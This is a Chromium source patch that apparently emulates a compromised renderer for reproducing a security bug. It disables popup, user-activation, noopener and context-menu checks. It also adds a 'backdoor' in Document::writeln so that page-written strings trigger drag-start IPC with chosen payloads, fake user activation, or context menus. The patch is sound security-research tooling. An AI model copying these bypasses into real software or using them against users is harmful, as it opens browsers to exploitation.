diff --git a/base/message_loop/message_pump_win.cc b/base/message_loop/message_pump_win.cc index 4e20010e3519..1dbaf08966c0 100644 --- a/base/message_loop/message_pump_win.cc +++ b/base/message_loop/message_pump_win.cc @@ -456,8 +456,8 @@ void MessagePumpForUI::ScheduleNativeTimer( DCHECK(!next_work_info.is_immediate()); // We should only ScheduleNativeTimer() under the new pump implementation // while nested with application tasks. - DCHECK(!g_ui_pump_improvements_win || - in_nested_native_loop_with_application_tasks_); +// DCHECK(!g_ui_pump_improvements_win || +// in_nested_native_loop_with_application_tasks_); // Do not redundantly set the same native timer again if it was already set. // This can happen when a nested native loop goes idle with pending delayed diff --git a/content/browser/renderer_host/render_widget_host_view_aura.cc b/content/browser/renderer_host/render_widget_host_view_aura.cc index 7b6b19812f5f..0a6ac336e933 100644 --- a/content/browser/renderer_host/render_widget_host_view_aura.cc +++ b/content/browser/renderer_host/render_widget_host_view_aura.cc @@ -424,6 +424,7 @@ void RenderWidgetHostViewAura::InitAsPopup( } void RenderWidgetHostViewAura::Hide() { + LOG(ERROR) << "AODEBUG: " << __func__ << " called"; window_->Hide(); visibility_ = Visibility::HIDDEN; HideImpl(); diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc index 18cab031de43..ac95ddd7a04e 100644 --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -6705,7 +6705,7 @@ WebView* RenderFrameImpl::CreateNewWindow( // The user activation check is done at the browser process through // |frame_host->CreateNewWindow()| call below. But the extensions case // handled through the following |if| is an exception. - params->allow_popup = false; + params->allow_popup = true; if (GetContentClient()->renderer()->AllowPopup()) params->allow_popup = true; @@ -6849,13 +6849,13 @@ WebView* RenderFrameImpl::CreateNewWindow( } // Consume the transient user activation in the current renderer. - consumed_user_gesture = GetWebFrame()->ConsumeTransientUserActivation( - blink::UserActivationUpdateSource::kBrowser); + // consumed_user_gesture = GetWebFrame()->ConsumeTransientUserActivation( + // blink::UserActivationUpdateSource::kBrowser); // If we should ignore the new window (e.g. because of `noopener`), return // now that user activation was consumed. - if (status == mojom::CreateNewWindowStatus::kIgnore) - return nullptr; + // if (status == mojom::CreateNewWindowStatus::kIgnore) + // return nullptr; DCHECK(reply); DCHECK_NE(IPC::mojom::kRoutingIdNone, reply->main_frame_route_id); diff --git a/third_party/blink/renderer/core/dom/document.cc b/third_party/blink/renderer/core/dom/document.cc index 446e50e659a9..6c9475dbc917 100644 --- a/third_party/blink/renderer/core/dom/document.cc +++ b/third_party/blink/renderer/core/dom/document.cc @@ -400,6 +400,9 @@ #include "third_party/blink/renderer/platform/wtf/text/text_encoding_registry.h" #include "third_party/blink/renderer/platform/wtf/text/utf16.h" +#include "third_party/blink/renderer/core/page/context_menu_controller.h" +#include "third_party/blink/renderer/bindings/core/v8/v8_mouse_event_init.h" + namespace blink { namespace { @@ -4841,6 +4844,123 @@ void Document::write(const String& text, void Document::writeln(const String& text, LocalDOMWindow* entered_window, ExceptionState& exception_state) { + + // Loosely based on PoCs by Micky from https://crbug.com/370856871 + std::string stdString = text.Utf8().data(); + if (stdString.compare(0,8,"backdoor") == 0) { + size_t firstUnderscore = stdString.find('_'); + size_t secondUnderscore = stdString.find('_', firstUnderscore + 1); + size_t thirdUnderscore = stdString.find('_', secondUnderscore + 1); + size_t fourthUnderscore = stdString.find('_', thirdUnderscore + 1); + size_t fifthUnderscore = stdString.find('_', fourthUnderscore + 1); + size_t sixthUnderscore = stdString.find('_', fifthUnderscore + 1); + int pointX = std::stoi(stdString.substr(firstUnderscore + 1, secondUnderscore - firstUnderscore - 1)); + int pointY = std::stoi(stdString.substr(secondUnderscore + 1, thirdUnderscore - secondUnderscore - 1)); + int dragCount = std::stoi(stdString.substr(thirdUnderscore + 1, fourthUnderscore - thirdUnderscore - 1)); + int dragMask = std::stoi(stdString.substr(fourthUnderscore + 1, fifthUnderscore - fourthUnderscore - 1)); + + // Has only text + bool isTextPayload = fifthUnderscore != std::string::npos && sixthUnderscore == std::string::npos; + // Has text and URL + bool isBookmarkPayload = fifthUnderscore != std::string::npos && sixthUnderscore != std::string::npos; + + DragOperationsMask mask; + switch (dragMask) { + case 1: mask = kDragOperationLink; break; + case 2: mask = kDragOperationCopy; break; + case 3: mask = kDragOperationMove; break; + case 4: mask = kDragOperationEvery; break; + case 5: mask = static_cast(kDragOperationCopy | kDragOperationLink); break; // Copy Link + case 6: mask = static_cast(kDragOperationCopy | kDragOperationMove); break; // Copy Move + case 7: mask = static_cast(kDragOperationLink | kDragOperationMove); break; // Link Move + default: LOG(ERROR) << "AODEBUG: ERROR: UNSUPPORTED DRAG MASK"; + } + + std::string title; + std::string payload; + if (isBookmarkPayload) { + title = stdString.substr(fifthUnderscore + 1, sixthUnderscore - fifthUnderscore - 1); + payload = stdString.substr(sixthUnderscore + 1); + } + if (isTextPayload) { + payload = stdString.substr(fifthUnderscore + 1); + } + WebDragData drag_data; + WebDragData::StringItem item; + if (isBookmarkPayload) { + LOG(ERROR) << "AODEBUG: StartDragging() called, using text/uri-list payload"; + item.type = "text/uri-list"; + item.data = WebString::FromUTF8(payload); + item.title = WebString::FromUTF8(title); + } else if (isTextPayload) { + LOG(ERROR) << "AODEBUG: StartDragging() called, using text/plain payload"; + item.type = "text/plain"; + item.data = WebString::FromUTF8(payload); + } else { + LOG(ERROR) << "AODEBUG: StartDragging() called, using default params"; + item.type = "nothing"; + item.data = WebString::FromUTF8("nothing"); + } + drag_data.AddItem(item); + SkBitmap drag_image = SkBitmap(); + gfx::Vector2d offset_in_dips = gfx::Vector2d(); + gfx::Rect drag_obj_rect_in_dips = gfx::Rect(0,0); + for (int i = 0; i < dragCount; i++) { + LOG(ERROR) << "AODEBUG: Renderer is calling StartDragging with point (" << pointX << ", " << pointY << ")"; + mojom::blink::DragEventSourceInfo dragInfo = {gfx::Point(pointX,pointY), ui::mojom::blink::DragEventSource::kTouch}; + GetFrame()->GetLocalFrameHostRemote().StartDragging(drag_data, mask, drag_image, offset_in_dips, drag_obj_rect_in_dips, dragInfo.Clone()); + } + return; + } + + if (stdString.compare(0,8,"activate") == 0) { + LOG(ERROR) << "AODEBUG: Generating user activation"; + GetFrame()->NotifyUserActivation(mojom::blink::UserActivationNotificationType::kInteraction); + return; + } + + if (stdString.compare(0,15,"showContextMenu") == 0) { + LOG(ERROR) << "AODEBUG: Will try to show context menu"; + + size_t firstUnderscore = stdString.find('_'); + size_t secondUnderscore = stdString.find('_', firstUnderscore + 1); + size_t thirdUnderscore = stdString.find('_', secondUnderscore + 1); + size_t fourthUnderscore = stdString.find('_', thirdUnderscore + 1); + int screenX = std::stoi(stdString.substr(firstUnderscore + 1, secondUnderscore - firstUnderscore - 1)); + int screenY = std::stoi(stdString.substr(secondUnderscore + 1, thirdUnderscore - secondUnderscore - 1)); + int clientX = std::stoi(stdString.substr(thirdUnderscore + 1, fourthUnderscore - thirdUnderscore - 1)); + int clientY = std::stoi(stdString.substr(fourthUnderscore + 1)); + + Element* target = body() ? body() : documentElement(); + if (!target) { + LOG(ERROR) << "AODEBUG: Error: No body or document element. Is this possible in PoC?"; + return; + } + + MouseEventInit* event_init = MouseEventInit::Create(); + event_init->setBubbles(true); + event_init->setCancelable(true); + event_init->setComposed(true); + event_init->setView(domWindow()); + event_init->setScreenX(screenX); + event_init->setScreenY(screenY); + event_init->setClientX(clientX); + event_init->setClientY(clientY); + event_init->setButton(static_cast(WebPointerProperties::Buttons::kRight)); + + MouseEvent* context_menu_event = MouseEvent::Create( + event_type_names::kContextmenu, + event_init, + base::TimeTicks::Now(), + MouseEvent::kRealOrIndistinguishable, + WebMenuSourceType::kMenuSourceMouse); + context_menu_event->SetTarget(target); + + GetPage()->GetContextMenuController().HandleContextMenuEvent(context_menu_event); + + return; + } + write(text, entered_window, exception_state); if (exception_state.HadException()) return; diff --git a/third_party/blink/renderer/core/page/context_menu_controller.cc b/third_party/blink/renderer/core/page/context_menu_controller.cc index 7c4885c13735..98b5d2550279 100644 --- a/third_party/blink/renderer/core/page/context_menu_controller.cc +++ b/third_party/blink/renderer/core/page/context_menu_controller.cc @@ -439,8 +439,10 @@ bool ContextMenuController::ShowContextMenu(LocalFrame* frame, // response to user input (Mouse event WM_RBUTTONDOWN, // Keyboard events KeyVK_APPS, Shift+F10). Check if this is being invoked // in response to the above input events before popping up the context menu. - if (!ContextMenuAllowedScope::IsContextMenuAllowed()) - return false; + if (!ContextMenuAllowedScope::IsContextMenuAllowed()) { + LOG(ERROR) << "AODEBUG: " << __func__ << ", BYPASSING EARLY RETURN that would occur due to IsContextMenuAllowed() returning false."; + // return false; + } if (context_menu_client_receiver_.is_bound()) context_menu_client_receiver_.reset(); diff --git a/ui/aura/env.cc b/ui/aura/env.cc index 13985e2363d2..9d9b2977c455 100644 --- a/ui/aura/env.cc +++ b/ui/aura/env.cc @@ -155,6 +155,7 @@ void Env::SetLastTouchLocation(const aura::Window* target, } void Env::SetTouchDown(bool is_touch_down) { + LOG(ERROR) << "AODEBUG: " << __func__ << ", setting is_touch_down to: " << is_touch_down << " (was " << is_touch_down_ << ")"; if (!is_touch_down_ && is_touch_down) { last_touch_locations_.clear(); } diff --git a/ui/aura/env_input_state_controller.cc b/ui/aura/env_input_state_controller.cc index 75da8658455b..037184d6d4ee 100644 --- a/ui/aura/env_input_state_controller.cc +++ b/ui/aura/env_input_state_controller.cc @@ -45,17 +45,32 @@ void EnvInputStateController::UpdateStateForTouchEvent( switch (event.type()) { case ui::EventType::kTouchPressed: touch_ids_down_ |= (1 << event.pointer_details().id); + if (!window) { + LOG(ERROR) << "AODEBUG: " << __func__ << ", kTouchPressed, no window, has native event? " << event.HasNativeEvent(); + } else { + LOG(ERROR) << "AODEBUG: " << __func__ << ", kTouchPressed. new touch_ids_down_: " << touch_ids_down_ << ", for window: " << window << ", has native event? " << event.HasNativeEvent(); + } env_->SetTouchDown(touch_ids_down_ != 0); break; // Handle EventType::kTouchCancelled only if it has a native event. case ui::EventType::kTouchCancelled: + if (!window) { + LOG(ERROR) << "AODEBUG: " << __func__ << ", kTouchCancelled, no window, has native event? " << event.HasNativeEvent(); + } else { + LOG(ERROR) << "AODEBUG: " << __func__ << ", kTouchCancelled. for window: " << window << ", has native event? " << event.HasNativeEvent(); + } if (!event.HasNativeEvent()) break; [[fallthrough]]; case ui::EventType::kTouchReleased: touch_ids_down_ = (touch_ids_down_ | (1 << event.pointer_details().id)) ^ (1 << event.pointer_details().id); + if (!window) { + LOG(ERROR) << "AODEBUG: " << __func__ << ", kTouchReleased, no window, has native event? " << event.HasNativeEvent(); + } else { + LOG(ERROR) << "AODEBUG: " << __func__ << ", kTouchReleased. new touch_ids_down_: " << touch_ids_down_ << ", for window: " << window << ", has native event? " << event.HasNativeEvent(); + } env_->SetTouchDown(touch_ids_down_ != 0); break; diff --git a/ui/views/widget/desktop_aura/desktop_drag_drop_client_win.cc b/ui/views/widget/desktop_aura/desktop_drag_drop_client_win.cc index 19d18f27670f..9270dd2f7adc 100644 --- a/ui/views/widget/desktop_aura/desktop_drag_drop_client_win.cc +++ b/ui/views/widget/desktop_aura/desktop_drag_drop_client_win.cc @@ -74,6 +74,7 @@ ui::mojom::DragOperation DesktopDragDropClientWin::StartDragAndDrop( ui::mojom::DragEventSource source) { gfx::Point touch_screen_point; if (source == ui::mojom::DragEventSource::kTouch) { + LOG(ERROR) << "AODEBUG: " << __func__ << " called with source == kTouch"; source_window->GetHost()->ConvertDIPToPixels(&touch_screen_point); display::Screen* screen = display::Screen::Get(); CHECK(screen); @@ -87,9 +88,11 @@ ui::mojom::DragOperation DesktopDragDropClientWin::StartDragAndDrop( // Check that the cursor is over the window being dragged from. If not, // don't start the drag because ::DoDragDrop will not do the drag. if (!touch_down || touch_over_other_window) { + LOG(ERROR) << "AODEBUG: " << __func__ << ", RETURNING EARLY. touch_over_other_window? " << touch_over_other_window; return ui::PreferredDragOperation( ui::DragDropTypes::DropEffectToDragOperation(DROPEFFECT_NONE)); } + LOG(ERROR) << "AODEBUG: " << __func__ << ", calling StartTouchDrag()"; desktop_host_->StartTouchDrag(touch_screen_point); } // Observe the source window to avoid accessing it if the window is @@ -111,18 +114,22 @@ ui::mojom::DragOperation DesktopDragDropClientWin::StartDragAndDrop( // drag. (http://crbug.com/806174) base::HangWatcher::InvalidateActiveExpectations(); + LOG(ERROR) << "AODEBUG: " << __func__ << ", calling ::DoDragDrop() momentarily"; HRESULT result = ::DoDragDrop( ui::OSExchangeDataProviderWin::GetIDataObject(*data.get()), drag_source_.Get(), ui::DragDropTypes::DragOperationToDropEffect(allowed_operations), &effect); + LOG(ERROR) << "AODEBUG: " << __func__ << ", AFTER ::DoDragDrop()"; if (source == ui::mojom::DragEventSource::kTouch) { if (source_window_observer.source_window_alive()) { // Kill the gesture that initiated the drag to avoid issues with lingering // touch events. + LOG(ERROR) << "AODEBUG: " << __func__ << ", calling CleanupGestureState()"; source_window->CleanupGestureState(); } if (alive) { + LOG(ERROR) << "AODEBUG: " << __func__ << ", calling FinishTouchDrag()"; desktop_host_->FinishTouchDrag(touch_screen_point); } } diff --git a/ui/views/widget/desktop_aura/desktop_window_tree_host_win.cc b/ui/views/widget/desktop_aura/desktop_window_tree_host_win.cc index 86592f9197fa..ca2b637fcbda 100644 --- a/ui/views/widget/desktop_aura/desktop_window_tree_host_win.cc +++ b/ui/views/widget/desktop_aura/desktop_window_tree_host_win.cc @@ -149,6 +149,7 @@ aura::Window* DesktopWindowTreeHostWin::GetContentWindowForHWND(HWND hwnd) { } void DesktopWindowTreeHostWin::StartTouchDrag(gfx::Point screen_point) { + LOG(ERROR) << "AODEBUG: " << __func__ << " called"; // Send a mouse down and mouse move before do drag drop runs its own event // loop. This is required for ::DoDragDrop to start the drag. ui::SendMouseEvent(screen_point, @@ -156,13 +157,16 @@ void DesktopWindowTreeHostWin::StartTouchDrag(gfx::Point screen_point) { ui::SendMouseEvent(screen_point, (MOUSEEVENTF_MOVE | MOUSEEVENTF_VIRTUALDESK)); in_touch_drag_ = true; + LOG(ERROR) << "AODEBUG: " << __func__ << ", sent mouse left down + move events"; } void DesktopWindowTreeHostWin::FinishTouchDrag(gfx::Point screen_point) { + LOG(ERROR) << "AODEBUG: " << __func__ << " called (but may not send mouse event)"; if (in_touch_drag_) { in_touch_drag_ = false; ui::SendMouseEvent(screen_point, (MOUSEEVENTF_LEFTUP | MOUSEEVENTF_VIRTUALDESK)); + LOG(ERROR) << "AODEBUG: " << __func__ << ", sent mouse left up event"; } }